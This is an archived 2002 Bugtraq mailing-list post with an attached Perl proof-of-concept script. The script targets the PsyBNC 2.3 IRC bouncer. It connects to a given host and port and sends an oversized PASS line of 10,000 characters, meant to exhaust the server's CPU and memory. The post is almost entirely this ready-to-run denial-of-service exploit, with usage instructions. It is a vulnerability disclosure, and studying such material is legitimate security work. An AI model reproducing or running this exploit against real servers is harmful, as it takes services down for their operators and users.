[25227] in bugtraq
PsyBNC Remote Dos POC
daemon@ATHENA.MIT.EDU (dvdman)
Tue Apr 23 16:24:34 2002
Message-ID: <002501c1ea77$05c4dcc0$6501a8c0@laptop>
From: "dvdman" <dvdman@l33tsecurity.com>
To: <bugtraq@securityfocus.com>
Date: Mon, 22 Apr 2002 23:29:05 -0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0022_01C1EA55.7E80E220"
------=_NextPart_000_0022_01C1EA55.7E80E220
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Simple Perl Code to use up 100% cpu/mem on PsyBNC 2.3
DVDMAN
------=_NextPart_000_0022_01C1EA55.7E80E220
Content-Type: application/octet-stream;
name="PsyBNC2.3.pl"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
filename="PsyBNC2.3.pl"
#!/usr/bin/perl
#PsyBNC 2.3 Remote DDOS POC
#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY
use Getopt::Std;
use IO::Socket;
$|=1;
my %options;
getopt('Hhp',\%options);
$arg2 = shift(@ARGV);
$options{h} && usage();
if ($options{H})
{
do_psy();
}
if ($options{p})
{
do_psy();
}
else
{
usage();
}
sub usage()
{
print("[L33TSECURITY] PsyBNC 2.3 Remote DDOS\n");
print(" (C) DVDMAN \n\n");
print("Usage: $0 [options]\n");
print("-H = hostname or ip REQUIRED\n");
print("-p = port of PSYBNC server REQUIRED\n");
}
exit(1);
sub do_psy() {
my $test = $options{H};
my $test2 = $options{p};
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $test,
PeerPort => $test2,
);
unless ($remote) {
print"error cannot connect";
return
}
$remote->autoflush(1);
print STDERR "PsyBNC REMOTE DDOS BY DVDMAN\n";
print STDERR " starting attack in 5 seconds...\n";
sleep(5);
my $user = "USER OWNED OWNED OWNED OWNED OWNED\r\n";
my $nick = "NICK OWNED\r\n";
my $pw = "PASS " . "A"x10000;
print $remote $user;
print $remote $nick;
print $remote $pw;
print STDERR "DONE\n";
die "BYE\n";
}
#By DVDMAN (DVDMAN@L33TSECURITY.COM)
#WWW.L33TSECURITY.COM
#L33T SECURITY
------=_NextPart_000_0022_01C1EA55.7E80E220--